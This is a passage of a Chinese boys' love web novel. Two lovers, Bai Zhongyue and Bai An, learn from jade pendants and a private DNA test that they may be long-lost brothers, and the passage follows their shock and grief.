“嗯,这个号记得存一下,万一我上班的时候有事联系不到,可以打助理电话。”
“好的老板。”
白仲钺低低笑了声:“挂吧。”
“嗯……晚上见。”
“晚上见。”
柏安脸上不自觉的笑还没消,忽然就被吓了一跳:“你站后面干什么!”
法思青抱着胳膊吊儿郎当地笑:“喊你去集合,结果你在打电话,我有道德,不打断小情侣腻乎。”
“有道德还偷听我打电话?”
“我光明正大听的。”
柏安懒得和他讲道理,抬脚就走。
原本是柏安刚回来上课的时候就想一起聚聚的,但当时柏安腿没痊愈,一推再推推到了现在,刚好元睦和的女朋友过来找他,就一起了。
这还是柏安第一次见元睦和的女朋友,以前对她的印象只有学画画和名字带月。
多少在心里有些预想,毕竟元睦和周到细心,脾气好,提起女朋友的时候就满脸挡不住的喜欢,经常说自己女朋友画画好,下意识就觉得他女朋友会是长发飘飘温温柔柔的文艺范那一类。
见面才知道和想象差别巨大。
短发很利落,刘海堪堪触眉,话不多,短外套黑长裤马丁靴,刚见面聊几句熟一点郝昕就忍不住凑上去:“同学你是哪个学校的呀?大几啊?……你比我们大一届啊?学姐!学姐你好飒!你太好看了!”
“你也好看,没想到过来吃饭还能认识这么漂亮的人,”沈月明笑了笑,“叫名字就行,沈月明,加个好友吗?”
“加!”郝昕摸了摸自己的脸,“我感觉我脸红了怎么办……备注名字了,郝昕。”
法思青往自己杯子里倒了水,说元睦和:“看来你过得不容易啊,这是男女通杀。”
元睦和把涮好的餐具放到沈月明那边:“没事,习惯了。”
郝昕听见忽然问:“那你们是姐弟恋啊?”
“对,他比我小一岁,”沈月明看了看元睦和,“是我邻居家弟弟。”
“青梅竹马?!”
“也可以这么说。”
“天,你们以后就是我cp榜上第三甜cp。”
“第三?”
“第二be了,不过他,”郝昕指了指柏安,“他和他男朋友是我cp榜上第一甜,从告白甜到毕业那种,啊白仲钺还没毕业,反正也快了。我给你看昨天刚偷拍的照片,西装革履的总裁接自己还在念书的小娇夫放学,是不是有那味儿了?!”
柏安扶额:“你每天都在看什么小说啊!”
袁韬夹了一筷鱼:“霸道总裁爱上我吧。”
法思青“啧”了一声,眼神把袁韬打量一圈:“有点难。”
“我艹?你大爷!”
“你口味是真的重。”
元睦和平时在宿舍就成天被袁韬和法思青你来我往的互相输出荼毒,这会儿见怪不怪地给沈月明的盘子里夹了块红糖糍粑,没见过这种场面的两个女生在一边笑得根本直不起腰。
柏安坐在一边也带了笑,很放松。
高中被自以为是朋友的同学录视频告发后,柏安没再和同学关系近过,都是普通同学,有需要会帮忙,问问题会讲,但就是悄悄在心里竖了一块隔板,到高考结束他没有深交任何一个朋友。
当时他觉得,其实人也不是一定需要朋友的。毕竟,交付信任依赖就要承担落空反噬的风险。
到大学他也没有主动去拉近过和谁的关系,但随着一次次巧合和意外,不知不觉,自己周围竟然有了这样一些人。
会关心,会惦记,会凑在一起说笑,会刻意避忌可能让他难受的话题,会换着办法逗他开心。
他们没有那么重要,如果以后渐渐远离彼此的生活,大概不会多悲伤,毕竟大家都有各自的路要走。
他们又都很重要,在会被不断回忆起的时光中,在无法复刻的这段生命里,现在的每个人都是独一无二的温暖亮色。
还是郝昕先看到的白仲钺:“学长,这儿!”
柏安一扭头,就看见白仲钺已经往这边走了。
“不是说到了我出去接你吗?”
“外边冷,就出去一会儿担心你懒得套衣服。”
喜欢的cp现场发糖简直要人命,郝昕兴奋地脸都发红,眼睛亮得可以媲美100瓦白炽灯。
都在看白仲钺,也就没人注意法思青飘到郝昕那儿定了两秒的一眼。
傻样儿。
法思青嘴角不受控制,假模假式地喝了口水。
“介绍一下,这是白仲钺,”柏安往沙发里边挪了一步,让白仲钺在自己身边,“袁韬、元睦和、郝昕,你认识的。”
三连声的“学长好”。
“这是法思青。”
法思青拐着弯吹了声哨:“A大风云人物,久仰大名。”
“听柏安说起过你。”
“说我帅?”
白仲钺笑了笑:“说你眼光好。”
“咳……”柏安拉回两个人的注意力,想继续介绍时沈月明先开口了。
“沈月明,元睦和的女朋友。”
白仲钺微笑点头:“你好。”
吃饭的地方是个三边卡座和及顶的镂空木质架围起来的半开放空间。因为只有郝昕沈月明两个女生,坐在一起舒服些,袁韬和法思青又真情实感地互相嫌弃,于是柏安法思青在左边,郝昕沈月明在中间,元睦和挨着
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沈月明和袁韬在另一边。现在白仲钺来了,就算宽敞法思青也不愿意和他们两个坐一排,起身向里挪到了郝昕旁边。
坐过去之后,郝昕连嗑cp的心都停了。
直到吃完饭都没太注意自己cp榜上第一甜cp到底是怎么甜的。
沈月明元睦和去宾馆,白仲钺对几个人说:“上车我送你们回学校吧,顺路。”
除了郝昕都是男生,柏安让郝昕坐副驾,他们三个坐后排,郝昕严词拒绝:“白学长的副驾是我等凡人能染指的吗!”
看柏安还坚持,郝昕直接拉开后门进去了。
正正坐在法思青旁边。
有生之年居然能坐一次白仲钺的车!
郝昕下车之后在心里呐喊,更要命的是,自己根本没能静下心感受,亏大发了啊!
“你那个同学不喜欢你。”
“发现了,他就是爱闹,”柏安听出白仲钺心情好,倚着副驾靠背歪头看他,“你之前不是说自己感情方面挺迟钝的吗,怎么这么小会儿就确定了?”
“和灵敏迟钝没关系,”白仲钺随着车流缓缓刹车,弹了下柏安的手背,“靠得是第六感和本能。”
“厉害呀。”
柏安看着白仲钺的侧脸,觉得他好像有点变样子了。
刚刚吃饭的时候他一身西服外搭长外套走近时,柏安不自觉就屏了呼吸。穿着、行为、谈吐,都有了不明显的变化,他原本就有超出这个年龄的稳重和阅历,现在那些气场逐渐显现外露。
模样还是从前的模样,其中变化,大抵是男生与男人的差别。
比从前更有魅力,更具压迫性,又更从容。
“有个朋友说……”
已经到了车库,柏安听见白仲钺的话回神:“什么?”
“有朋友说当初找人的时候报警备过案的话会有记录,如果提供的东西线索和记录信息有重合,很容易查到报案人的信息。要不然去公安局问问看?”
柏安沉默了一会儿:“其实我不是很着急找到他们。”
“怎么了?”
“不知道为什么,每次想到找亲生父母,就有种说不出的不太好的感觉。而且我有时候会想,假设找得到,如果他们已经忘了我的存在,有很好的孩子,一家人其乐融融生活在一起,那我出现算不算是把他们好好的生活搅乱了……如果他们一直放不下我,这么多年都记着我想找回我,我回去和他们相认,可心里又已经有了不能取代超越的父母家人,对他们来说会不会太残忍……”
“安安,你只需要考虑一件事,自己想不想。如果想,我们就找,不想我们就不找了。如果他们已经忘了你,不想要你,你成年了,不需要依附他们生活。如果他们一直想着你,那你回去本身就是最大的幸运了。”
“嗯。”
“要么还是我们两个生活,要么多一个家,无论怎么样,现状不会变,不要担心那么多。”
柏安忽然就把所有想法都放下了:“那我们去公安局问问看,你和我一起吗?”
“当然啊,”白仲钺解开他的安全带,顺路索了个吻,“不过明天要回家,爸妈有令,不知道什么事,后天去?”
柏安浅笑答应:“好。”
是啊,白仲钺总会在自己身边,这一点不会变。
只要这一点不会变,有什么可担心的呢?
42.鉴定
白仲钺上午去公司,吃过午饭回了家。
是个没什么特别的天气,和这些天一样,有点风,有太阳,冷,不过没到刺骨的地步。
家里气氛很怪,阿姨不在,阮敏眼睛红肿着,就连白业成的眼都泛着红。
自从柏安家里人去世,白仲钺就比从前想得多,看见这样的情景下意识心口一紧:“妈妈,怎么了?爸爸?”
阮敏被白仲钺一问,又红了眼。
“没定的事,”白业成抚了抚阮敏后背,对白仲钺说,“可还是该先告诉你。”
“到底怎么了?妈妈身体不舒服?”
“不是,你别担心,是好事。”
不知怎么,听见这话白仲钺也没能松气,心照旧悬着:“……什么事?”
“你记得吧,爸爸和你说过,你本来还有个弟弟。”
“记得,先天不足,生病去世了。”白仲钺下意识看了看阮敏,从小到大,这是不能提的禁忌。
“不是生病去世,”白业成边在阮敏后背轻拍边说,“你那时候小,我怕告诉你你会闹着找或者追着妈妈问让她伤心,才说生病去世了,让你不要提。是丢了,被人贩子抢走生着病扔在半路,没找回来。”
白仲钺心脏猛地跳了下,他还没理清楚自己想到了什么在害怕什么,就已经觉得心跳得太急太乱,慌得难以承受。
“但是昨天晚上你妈妈看见了一则寻亲的讯息,就在咱们注资的一个平台,你看。”
脑子里“嗡”的一声,白仲钺看着平板上的页面,手脚都一厘一厘僵住。
“被捡的时间对,衣服对,那块玉,那块玉你们兄弟一人一块,是由极罕见的顶级料一分为二,又找专人独家设计雕刻,全世界只有这么两块。”
白仲钺脸色煞白:“不可能……对,不可能,我根本没见过……”
“你弟弟丢失之后我怕你妈妈看见难过,就把你的那块玉收起来了,在这儿,你看,一面刻着字一面刻着出生日期,你的是钺,你弟弟的是安,和照片里的一模一样。”
“不可能……”白仲钺嘴唇颤动,甚至不确定自己有没有发出声音,“怎么会……”
“其实我和你妈妈也觉得可能是假的,毕竟隔了这么多年,发布的人没留电话,发邮件和私信都没人回,也说不定是有人当年留下了这些东西,现在想拿出来骗钱。但不管怎么样,咱们都要查清楚。我托人问,说找懂行的人能查到发布讯息时的地址。为防万一,确定之前还是越少人知道越好。”
“我来查,”白仲钺脑子几乎打成了结,话几乎是听凭本能出口,“我来,我……我来查……”
不知道是怎么离开家的,不知道是怎么启动车子上了路,直到拉长的喇叭声刺耳地响起,白仲钺才回神一脚踩下刹车。
那块刻着他名字的玉居然握在手里。
从旁边过去的车落下副驾车窗高声骂了几句脏的才解气离开,白仲钺把车挪到路边,解了安全带。
胸口好像要被只进不出的气体撑炸了,脑子里不知道在想什么,呼吸快得喘不过气,颈侧的动脉和太阳穴跳到生疼。
柏安不是骗子,爸爸说得是真的……
怎么可能?
不可能,不会有这么巧的事情……说不定是哪儿出了他没想到的差错……
柏安,不可能是他弟弟。
不可能。
绝对不可以。
“祁延……”
“怎么了?想念爸爸的温暖了?我下个月就回去慰问你。”
“帮我个忙,帮我个忙……”
白仲钺声音颤得太明显,祁延声音高了几度:“你怎么了?啊?出什么事了?”
“我需要验个DNA,不能用身份证,你家的那个医院能验吗?我需要做个鉴定,不能让任何人知道,我……我……”
“卧槽老白你怎么了?我给你问问,我问问啊,你别急,到底怎么了啊,哭了?□□今下午我现在就回去,你别吓唬我啊!”
“不用回来,”白仲钺头实实磕在方向盘上缘,“帮我问问,能验的话和医院打声招呼。”
需要用血、口腔拭子或者毛发,毛发需要有毛囊,推荐使用血样,三到六小时可以出结果。
白仲钺在车里待了很久,调整好声音给柏安打电话,说自己可以找到人去警局核对以前登记的血样信息,需要柏安提供血痕,用来对比DNA。
漏洞百出又经不起推敲的话,柏安一听就信了,问他要怎么弄。
“我一会儿去……”白仲钺顿了下,改口,“我让人带东西去找你,现在有点忙……”
“知道了,你不用总想着这件事,不着急的,你先忙工作,多喝点水,嗓子都哑了。”
“好……”
他想见柏安,又不敢见柏安。
他根本没有办法控制自己的表情行为,让自己声音如常地和柏安说话已经耗尽了他最后一点自控力。
祁延到底赶回来了,紧赶慢赶,到医院的时候白仲钺正一动不动趴在一张办公桌上。
“睡了?”
“没。”
“艹,你嗓子怎么哑成这样了?饮水机就在后边不知道喝点水吗?”
白仲钺没接杯子,只直起身,没力气抬眼似的耷拉着眼皮。
“到底怎么了?”祁延靠在桌边,“你有事就和我说,什么不能和我说啊,难道叔叔在外边也有人?也生孩子了?”
白仲钺思维几近停滞,没有注意祁延话里的两个“也”字,只僵硬地摇头:“不是,祁延,别问了,拜托。”
“好好好,我不问,你什么时候想说就和我说,开始验了吗?什么时候出结果?”
“快的话,”白仲钺缓慢抬手看腕上的表,“还有十几分钟。”
几页纸,表格,数据,字母,翻到最后一页,分析说明下方是两行简简单单的鉴定结果。
【经中心STR全同胞关系鉴定,在排除外缘干扰前提下,支持1号检材所属人与2号检材所属人存在亲缘关系。】
支持,存在,亲缘关系……
“老白!”
白仲钺眼前一黑,在察觉自己摇晃时伸手扶旁边,但只抓住了个金属架,“哗啦”一声在自己往前倾半跪撑住后砸了满地。
“你怎么样?叫医生啊!快点!”
“
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不用……”白仲钺试了下没能起来,直接倚着墙边坐在了地上,“不用……”
“赶紧进来!看看他怎么了,快!”
白仲钺垂着头,呼吸声格外重:“让我自己待会儿……”
“查完死不了我就让你自己待着行不行?”祁延被白仲钺这幅样子弄得又急又焦,偏他什么都不说,跟塌了一块天又不知道是哪块一样,“他怎么样啊?刚什么情况?”
情绪过激心率过速外加血糖低引起的晕眩,建议输液休息。
“我自己待会儿……”
祁延觉得自己心率也快过速了:“不输液会怎么着?”
“额,”旁边的医生收起血压计,“会无力、心悸、虚汗甚至昏迷……”
总之,死不了。
“行了,你们忙去吧,”祁延环视一圈找了个铁盒子放在白仲钺手边,“你有事砸盒子,我就在门口,能听见。”
祁延风风火火跑一趟,临走还被按着抽了血和他爸外面找上门来的孩子验DNA。那边不知道会不会凭空冒出个同父异母的兄弟,这边白仲钺还不知道发生了什么事三棍子打不出个屁。
到底没忍住烦躁,祁延对着排椅猛踹一脚:“操!”
天早黑透了,柏安怕影响白仲钺工作,一般能发消息就不打电话,可左等右等发出去的消息一直没收到回复。
布莱克吃饱了咬着牵引绳过来蹭柏安的腿,柏安在它头上揉揉:“再等十分钟,不回消息我就打电话问问,如果你爹有事晚回来,咱们就下楼。”
布莱克只听见了“下楼”,咧着嘴开始围着柏安绕。
“我说一会儿,哎……”
还是没回消息,电话响了好一会儿才通:“喂?在忙吗?”
“喂?”柏安按住布莱克,放低声音,“你这会儿是不方便说话吗?在开会?”
一声很低很轻的“嗯”。
“那我挂了,忙完发个消息。”
又一声很低很轻的“嗯”。
柏安给布莱克套上牵引绳,忍不住碎碎念:“也不知道你爹吃饭没,等下你再拽着我跑的话,明天就不出门了知道吗?慢点跑……”
遛狗时白仲钺发消息来,说临时有状况要出差,让柏安早点睡。
柏安一贯奉行帮不上忙就让自己省事的原则,没追问怎么了,只皱着眉头站在路边敲敲点点。
【一会儿就睡,不用担心我,你有时间多休息,记得吃饭】
好半天,那边回过来一条【收到】
大概忙得厉害,柏安不再多说占用他时间,收起手机之后又想给辛苦的男朋友鼓鼓劲,于是解锁点进聊天界面——【爱你】。
白仲钺连倚坐的力气都没了,倒在地上弓起后背蜷缩着,他的脸深埋起来,能看见手机屏幕散出的的光。
【爱你】
光暗了。
【爱你】
光灭了。
【爱你】
……
“我爱你……”
……
“我爱你啊……”
……
回应是未曾传递的哑声呢喃,被掩于无人知晓的一方黑暗。
43.末日
晚上,柏安梦见自己摔下悬崖,后来白仲钺出现拉住他,他们悬在半空,白仲钺像不认识他一样转身就走,他怎么都动不了,眼看走进浓雾里的白仲钺就要看不见了,柏安拼命挣扎,手肘重重磕在了墙上。
家里刚出事那段时间他几乎天天做梦,常会猛地惊醒再被白仲钺轻声安抚下去。渐渐就做梦少了,这天晚上柏安一背冷汗捂着手肘坐在床上时才想到,自己很久没有做过梦了。
第二天,白仲钺的手机无法接通。
之前白仲钺偶尔需要去外地出差的时候睡前一定会视频,手机至多是静音在忙无人接听,无论多忙看见消息的时候都会一条不落地回复,从没有这样过。
昨天睡前的【晚安】和今天早上的【早呀】都孤零零在聊天框里挂着。
柏安怕白仲钺遇见什么棘手的问题,更怕是出了什么事。
好在自己存过白仲钺助理的号码,待接通的提示音响过几次,一个语速略快的干练男声出现在听筒:“您好柏先生。”
柏安很少被这样称呼,反应两秒想到大概是白仲钺在助理那里存了自己的手机号:“您好,打扰了,我想找一下白仲钺,他有时间吗?”
助理很早就接到过白仲钺的通知,如果是柏安的电话进来,关于他的所有事都可以说,不用请示:“白总不在公司,从昨天起一直断联,如果柏先生联系到白总烦请转达,公司有重要事项需要白总处理,我尽量拖延,但如果一直不出面恐怕会惊动白董。”
“他不是去J市了吗?”
“抱歉柏先生,我不清楚白总的私人行程。”
柏安心跳得厉害,没时间多想助理和白仲钺两方话里的出入,边收拾出门边拨白仲钺的号码,这次竟然通了。
“喂。”
柏安心口莫名一空。
他很少,不,他根本没有听过白仲钺用这种没有起伏波澜的语气对自己说话。哪怕再平常的时候,声线里总是带着些不一样的感觉,没办法表达清楚,但一贯如此——那是只属于柏安的语气。
不像现在,单单一个字平直淡漠地砸过来,让他陌生又无措。
“……怎么了?”
柏安原本想问白仲钺怎么了,可听见白仲钺问的“怎么了”后,下意识就改了口:“刚刚你的手机打不通……”
“……没电了,刚充上。”
白仲钺每次开口前都有几秒停顿,像是很累,不想耗费精力回应无谓的内容。
柏安鞋子穿了一半,扶在入门柜上的手动了动,指甲刮过柜面,轻轻的一声:“刚刚联系不到你,有点担心就打给了你助理,他说……”
公司联系不上你,昨晚不是出差。
“他说,公司有重要的事需要你处理,再拖下去可能会惊动你爸爸。”
“……我一会儿联系他。”
柏安吐吸几次都缓解不了心口闷堵的感觉,他转身背倚着墙,终究还是忍不住:“你怎么了?是发生什么事了吗?”
漫长的沉默。
柏安没有继续追着要答复,最后只问他:“你今晚回来吗?”
“……回去。”
“那我等你回来。”
“……好。”
下午的课柏安上得浑浑噩噩,郝昕几次回头看他,课间的时候法思青直接把座位换到了他旁边:“这是怎么了?”
柏安摇摇头,他也想知道怎么了。
“和白仲钺吵架了?”
柏安说:“没事。”
“你满脸都写着有事。”法思青手里的笔没转两圈就飞了出去,前边的郝昕捡了送过来,没递到法思青手里,戳了戳柏安。
“cp,怎么了啊?和白学长吵架了吗?”
柏安扯着嘴角笑了下:“没有,你们怎么都往那儿想。”
“主要是你一看就是有事,除了他还能有谁啊?”
说者无心。
再平常不过的一句,柏安心里骤然疼了下。
明明郝昕没有别的意思,可柏安脑子里却只有这一个想法——谁都知道,他只有白仲钺了。
他忽然想到自己曾经对白仲钺说过,自己离不开他了。从心动到喜欢到依赖再到离不开,好像很漫长,又好像只是几个瞬间的事。可离不开这种情感不全是美好,它也让人不安,尽管白仲钺给了他最牢稳可靠的保证,尽管白仲钺给了他最大的安全感,他仍旧不安。
这份不安无关于白仲钺做得多少,只是因为他的全部只有白仲钺一个,所以当白仲钺反常时,他心惊肉跳又不敢质问。
他明知道白仲钺有多爱自己,明知道自己在白仲钺那里有多重要,明知道白仲钺的人格品性,哪怕真的有一天不爱了也绝不会做出背叛的事,可他控制不住自己乱想。
每一点不合理和陌生感都被放大无数倍,柏安身处其中,自虐般地剖筋析理。
他等了白仲钺很久,热过一次的饭菜又凉掉后柏安没再热,倒进垃圾桶前又收手端回了厨房。
也许只是有事脱不开身,他既然答应了要回来,就一定会回来。
白仲钺答应他的事,从没有做不到过。
八点,九点,十点……
柏安没发消息,没打电话,就坐在那里一分钟一分钟地等,分针又到半时,他出门下了楼。
不走远,就在小区里,就在楼前这条回来必经的路上,如果白仲钺回来,至少可以早一点知道。
可他刚出来就看见了白仲钺。
几十米远,他没戴眼镜,但一眼就认出路尽头石阶上坐着的、唇旁闪着烟火星的人,是白仲钺。
原来白仲钺会吸烟。
白仲钺居然会吸烟。
柏安站在原处,看白仲钺手肘撑在膝上,一次次把烟送进嘴里又吐出雾。
他好像很累。
他不想见我。
所以宁可在寒冬室外一根接一根地吸烟,也不愿意早点上去。
一阵刺冷的风过来后,柏安一步步走过去。
近一些才
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发现白仲钺脚边还堆了一袋啤酒罐,数不清多少,横七竖八装在里面。
他不知道白仲钺在想什么,已经这么近,他已经能闻到浓重的酒气和呛人的烟味,白仲钺还是没察觉他。
“白仲钺。”
白仲钺一恍神,指间的烟直直落在下方悬着的手背又掉到地上,他像没感觉似的只看着柏安,张张口,没说出话。
柏安急急冲过去把他手背上还闪着火星的烟灰吹干净,但到底迟了会儿,那块皮肤已经成了明显被灼伤的暗红:“走,去处理一下……”
白仲钺没动。
柏安往前走的一步被迫退回来,忽然就甩开了白仲钺的手:“你到底怎么了啊!”
白仲钺手上空空,戒指不见踪影,他手指蜷缩起来,两唇颤着,仍旧没说话。
柏安单膝触地,平视白仲钺:“到底怎么了,给我一句话,你说什么我都信,我就要一句话。”
“白仲钺……”柏安固执地不肯让眼泪出来,“有什么不能告诉我的?有什么非得让你骗我让你这么躲着我……你有事就直接和我说啊哪怕你真喜欢别人要分手就分,难道我还能死皮赖脸拖着你不愿意吗?我又不是真的就没你活不下去了!”
白仲钺定定看着柏安,缓缓抬手把他眼尾的一滴泪抹了:“我……”
“不是,我不是想说这个,”柏安忽然慌着打断白仲钺,“对不起我说气话了,我不是真心的,我们之前说好谁都不能提分手的,我不该提,你别生气,生气也没事,我、我……”
柏安忽然自暴自弃似的哭出来:“到底怎么了啊……我就是没你不行啊,我就是非你不可我就是只有你,你不喜欢我了吗,不想要我了吗?如果有不好的地方我可以改啊,我再也不提分手了,我……”
白仲钺几次张口都没能发出声音,他手扶着柏安的肩,向前一动直接跪在了地上。
柏安随着白仲钺手上的力道后仰跌坐在地,不等反应白仲钺已经弯伏下身脸埋在了他腿面。
“白……”
“呃啊————”
突如其来的痛哭嘶吼把柏安吓呆住了,他从没有见过这样的白仲钺,像一头困在铁笼里被当面撕碎了幼崽的狮子,重悲剧痛里混着无能为力的暴怒。
柏安抖着手去摸白仲钺抽动的脊背:“白仲钺……”
“啊————!!!”
柏安不想再问怎么了,只半搂抱着白仲钺低声喊他:“白仲钺……”
“白仲钺……”
“我爱你……”
白仲钺浑身一震,赤红着眼睛直起身忽然把柏安压在了地上,近乎粗暴地揉搓亲吻。
柏安一应受了,甚至还在回应安抚,但凡有一丝能喘息的间隙就颤声告诉他:“我爱你……”
“我爱你……”
白仲钺已经被捅穿扎透的心彻底被柏安念碎了。
为什么还不到世界末日啊——
今晚就世界末日吧。
拜托了……
44.冬日雹
“如果,”白仲钺说得艰难,“我们其实是兄弟……”
“什么……”一纸报告在柏安手里被捏变了形,夜里室外的光线虽暗,却足以分辨文字,可柏安仿佛看不清楚,也看不明白,只是不懂似的轻声问,“白仲钺,你在说什么……”
白仲钺没有力气再说第二遍。
柏安也不是真的没听清楚白仲钺说了什么。
平整地面,脚下一空,柏安被扶稳后反手抓住白仲钺手腕,不自觉用了全部力气,指甲陷进肉里。白仲钺像感觉不到疼,任他抓着:“扭到脚了吗?”
柏安“嗯”了一声。
“我背你回去,上来。”
白仲钺直起身后,柏安收紧手臂和腿,低声说:“没扭到。”
“真的?”
柏安弓着背,眼睛贴在白仲钺颈侧,睫毛不受控地簌簌颤着:“真的。”
白仲钺顿了一会儿,托着柏安的手紧了紧,说:“没扭到就好。”
背回去的一路,谁都没说话,进门后才看见有几通家里来的电话,白仲钺关掉手机,没有回电。
两块玉挨在一起。
左边的刻着“钺”,右边的刻着“安”,连上面穿孔而过的金丝红绳都编着一样的结,尾梢各缀了两颗玉珠。
他们喜欢相似的东西,喜欢穿相近的衣服,喜欢用一样的物品,那是隐晦又直白的亲密。
可这两块近乎一模一样的玉算什么?
兄弟?
“不可能的,”柏安没碰白仲钺那块玉,也仍旧没仔细看那份报告,这太荒谬了,荒谬得像是因为昨晚情绪波动太大做了个毫无逻辑的梦,现在还是梦里,“也许就是巧合,刚巧款式一样,一块玉而已……”
白仲钺把早已经被捏皱变形的报告勉强舒展:“这是我亲自在祁延家的医院做的鉴定,用我们两个人的血样。”
“亲子鉴定都有可能失误,何况是兄弟,”柏安像是终于找到了一处可以借力的地方,终于敢拿起报告来逐字细看,“而且这是私人医院,结果不一定准的,就算真的要做也该去公立医院,我们去人民医院做,万一是这家医院搞错了呢?”
“不能去公立医院——”
柏安下意识问:“为什么?”
是啊,为什么。
白仲钺也说不出为什么。
怕被人知道?可如果没血缘关系,不怕被谁知道,一个乌龙罢了。如果有血缘关系……就算不去公立医院,难道他们就能彻彻底底瞒下来吗?
瞒下来?
白仲钺被这个忽然闪过的想法惊得一激灵,他甚至自己都不知道,心底某个地方竟然存着这样的念头。
自始至终,柏安的反应都和白仲钺知道时不同。
甚至可以算得上平静。
没有崩溃,没有吵闹,连哭都没有声响,泪腺像成为了被身体割裂出去的单独一部分,惶惑、惊疑、不可置信,无数种情绪闪过后,只余下满目迷茫。
柏安眼里的茫然和无助白仲钺曾经见过一次,心疼许久。曾经白仲钺想,他再不会让那样的眼神出现在柏安身上。
却原来,任他想得如何周全,都抵不过一个突然。
为什么,又该怎么办。
没有人说得出。
这个周末,白仲钺没有出去应酬,没有带工作回家,柏安也没有兼职。
他们晚上会挨在一起,深夜会不自觉拥紧,早上醒的时候反应互相抵在对方身上,他们默契地忽略,不玩笑,不调闹,撤开一点并肩躺一会儿就一起起床、收拾、洗漱。
他们一起做饭,一起吃饭,一起洗碗,一起喂布莱克,一起给它洗澡,一起挑影片,更多时候只是安安静静的倚靠在一起,什么都不做。
像末日前相依取暖的动物,也像两个等待宣判的罪犯。
世界仿佛停止了运转,直到接到医院催促柏安复查小腿的电话,两人才终于出门。
天不冷,有晒在脸上很舒服的太阳。
复查情况不错,但谁都给不出一个符合结果的反应。走出医院一段路后,柏安在路边停下,抬眼对白仲钺说:“我有点害怕。”
白仲钺不知道该说什么。
柏安抬了抬胳膊。
抱紧的一瞬,白仲钺在柏安看不见的地方红了眼。
直到传来几句语气不善的话,两个人才察觉到不远处异样的眼光。他们在学校待了太久,在宽松和善的环境里待了太久,差点忘了外面的社会接受度并不算高。
白仲钺半抱着柏安往一边去,从阳光下,躲到背人的阴影里。
柏安埋头在白仲钺肩膀上站了好一会儿,良久直起身对白仲钺轻扯嘴角笑了笑:“天气很好,对吧?”
“嗯,”白仲钺伸手抓了抓柏安的头发,他好像很久没做过这个动作,碰到头顶的时候手都不自觉在抖,他也努力笑了笑,哑声说,“天气很好。”
他们没有坐车,也没有牵手,就像无数并肩前行的人一样行走,随着人流,穿过路口回家,仿佛什么都没有发生,仿佛他们没有任何不同。
不知道第多少次忽略家里的电话,直到看见短信中的几个字眼,白仲钺额角青筋一跳。
他先给柏安接了杯水:“我出去一下。”
柏安一把抓住他的袖子,直直看着他。
“需要处理点事情,”白仲钺维持声线平稳,“我回个电话。”
“就在家打行吗?我去卧室。”
白仲钺心口一滞:“你坐会儿,喝点水,我不走,就在书房。”
天似乎在不被察觉的某一秒钟忽然阴了。
收回恩赐的和煦,开始酝酿一场未知如何的风雨。
白仲钺听着话筒里兴奋喜悦的声音,艰涩开口:“不是说我来查吗?”
“你不知道你妈妈这几天怎么过的,一天到晚坐立不安,吃不下睡不好,一会儿哭一会儿笑,这些年周围人都避忌着不提可她心里一直记挂着,那是她放在心坎上惦念的孩子,哪怕过去几十年都不可能淡忘,不然也不会这么多年投身慈善事业还一直给这些寻亲项目注资。”
“我也是想快点找到他,换着号发了多少封邮件都没回信,找人查出来的绑定的号码打不通,现在查到他发讯息时的位置就在本区,很快就能锁定更具体的位置,不管真假总要找到问清楚……阮阮,怎么起来了?”
那边低声交谈几句,换了阮敏接电话:“小钺,你爸爸说你最近常不在公司,肯定是在忙找子安的事,找人要紧,但你也别太累知道吗?你爸爸最近身体挺好的,各项指标都很稳定,公司的事也好其他的事也好,有觉得吃力的就告诉家里,千万不要自己担着……”
声音就在耳边,又像是很远,白仲钺应着、答着,闭起眼睛,任自己陷到黑暗里去。
阴天的缘故,夜晚来得比平日更早。
柏安手机弹出A市局部冰雹的提示,他在满室昏暗里走到阳台去,刚把窗打开一道缝就感觉到了呼啸的冷风。真空玻璃的隔音太好,让他误以为风平浪静。
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变天了。
轻敲几下,门内没有回应。他拧开门走进去,在身后投进来的灯光里看见了倚在墙角睡着的白仲钺。
柏安脱了居家鞋,赤脚缓步靠近,看见白仲钺眉头蹙着,眼底暗色浮显,下颌冒出一层新生的胡茬。他头仰着靠在一侧墙上,肩膀微微收拢,一只手搭在小腹,一只手落在地上,一条腿曲起,一条腿侧面贴地半弯。
白仲钺骨架比他大,个子比他高,发质比他硬,脸型比他窄,眼睛比他狭长,眉形比他锋直,鼻梁比他高挺。他的耳廓形状偏圆,白仲钺的不圆,他的皮肤很白,白仲钺不是,他会紫外线过敏,白仲钺不会,他很容易受凉感冒不舒服,白仲钺相反……
他们明明有那么多那么多的不一样,不,他们明明根本没有什么一样的地方。
——“你和白仲钺画起来的感觉很像,虽然看起来脸型、五官没什么相似,但画起来手感差不多。”
曾经元睦和在画他们时随口提过的一句忽然响在脑海,当时他还很开心能和白仲钺有相像的地方,白仲钺还说过是夫夫相……可世界上有无数夫妻相的人,比他们彼此相似的人比比皆是,为什么他们会是兄弟?怎么会是兄弟?
怎么会?
白仲钺抬手把他抱住,从上到下抚他后背:“是梦……没事,没事安安……不怕……”
柏安屏了呼吸僵在白仲钺怀里,半晌才意识到白仲钺刚刚没醒。他发觉自己脸上湿凉,才知道是不知什么时候哭出声,让白仲钺在半睡半醒间以为他又做了噩梦。
起初两个人在同一张床上过夜的时候都是白仲钺醒得早,直到有一天他比白仲钺早醒,在旁边躺了会儿就忍不住轻轻碰白仲钺的脸,三碰两碰把人弄醒了,刚想抱一抱亲一下说早安,就看见白仲钺满是烦躁地沉着脸。
他有点不知所措地认错,白仲钺说了句“没事”就下床去卫生间,好一会儿带着满身凉气回来,向还呆着的他道歉,说自己有起床气。
从那之后柏安就尽量让白仲钺睡到自然醒,偶尔早醒了也安安静静躺在一边,白仲钺也醒了就不声不响抱一会儿,等缓过劲儿柏安才会和他说话笑闹。
他都没有注意到白仲钺的起床气从什么时候开始没有了,只知道这么长时间以来,每次惊醒都有个怀抱容纳,有一双手轻抚,有个声音安慰。
原本自然醒都要缓许久起床气才好的人,被吵醒的第一反应变成了哄他。
噼啪作响的冰雹声大到玻璃和墙壁隔不消,白仲钺醒了,柏安没起来。
可白仲钺把放在他背上的手臂挪开了。
柏安抱住白仲钺又窄了些的腰,耳朵能听到他的心跳:“白仲钺……”
“嗯……”
窗外的声音越来越响,柏安紧紧抱着白仲钺,话音变了调:“白仲钺……”
白仲钺喉结上下滚动几次,涩声答:“在这儿……”
“我不要亲生父母了……”
白仲钺落在地上的手蜷了蜷,没说出话。
柏安撑起身子,眼睛又红又肿,在昏暗的光线和嘈杂的声音里抓着他的手腕,说:“白仲钺,我不要亲生父母了,我们不说谁都不会知道,我保证以后不后悔,就当不知道好不好?不分手好不好?”
